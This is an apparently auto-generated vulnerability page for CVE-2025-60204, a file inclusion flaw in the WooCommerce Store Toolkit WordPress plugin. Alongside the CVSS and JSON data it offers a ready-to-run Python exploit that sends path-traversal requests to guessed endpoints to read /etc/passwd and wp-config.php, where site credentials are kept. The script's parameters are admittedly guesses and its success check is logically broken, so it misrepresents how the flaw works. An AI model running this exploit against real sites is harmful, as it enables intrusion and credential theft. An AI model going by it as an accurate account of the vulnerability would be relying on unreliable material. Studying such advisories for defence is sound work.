Security Vulnerability Report
中文
CVE-2025-60204 CVSS 7.5 HIGH

CVE-2025-60204

Published: 2025-11-06 16:16:06
Last Modified: 2026-04-27 16:16:34

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Josh Kohlbach WooCommerce Store Toolkit woocommerce-store-toolkit allows PHP Local File Inclusion.This issue affects WooCommerce Store Toolkit: from n/a through <= 2.4.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WooCommerce Store Toolkit <= 2.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60204 PoC - WooCommerce Store Toolkit LFI # Target: WordPress site with WooCommerce Store Toolkit plugin <= 2.4.3 import requests import sys from urllib.parse import urlencode def exploit_lfi(target_url, target_file='/etc/passwd'): """ Exploit Local File Inclusion vulnerability in WooCommerce Store Toolkit """ # Common vulnerable endpoints in WordPress plugins endpoints = [ '/wp-admin/admin-ajax.php', '/wp-admin/admin.php', '/wp-content/plugins/woocommerce-store-toolkit/includes/controller.php' ] # Payload to read local files # The actual parameter name varies based on plugin version params = { 'action': 'woocommerce_store_toolkit_view', 'file': target_file, 'view': '../../../../../../' + target_file } print(f"[*] Targeting: {target_url}") print(f"[*] Attempting to read: {target_file}") for endpoint in endpoints: try: full_url = target_url.rstrip('/') + endpoint # Try GET request response = requests.get(full_url, params=params, timeout=10) if response.status_code == 200 and 'root:' in response.text or '[' in response.text: print(f"[+] Success! Read file via {endpoint}") print(response.text[:500]) return True # Try POST request response = requests.post(full_url, data=params, timeout=10) if response.status_code == 200: print(f"[*] Response from POST to {endpoint}") print(response.text[:500]) except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") return False def read_wp_config(target_url): """ Read WordPress configuration file """ print("\n[*] Attempting to read wp-config.php...") return exploit_lfi(target_url, '../../../../wp-config.php') if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-60204.py <target_url> [target_file]") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '/etc/passwd' exploit_lfi(target, file_to_read) read_wp_config(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60204", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:06.010", "lastModified": "2026-04-27T16:16:33.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Josh Kohlbach WooCommerce Store Toolkit woocommerce-store-toolkit allows PHP Local File Inclusion.This issue affects WooCommerce Store Toolkit: from n/a through <= 2.4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce-store-toolkit/vulnerability/wordpress-woocommerce-store-toolkit-plugin-2-4-3-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}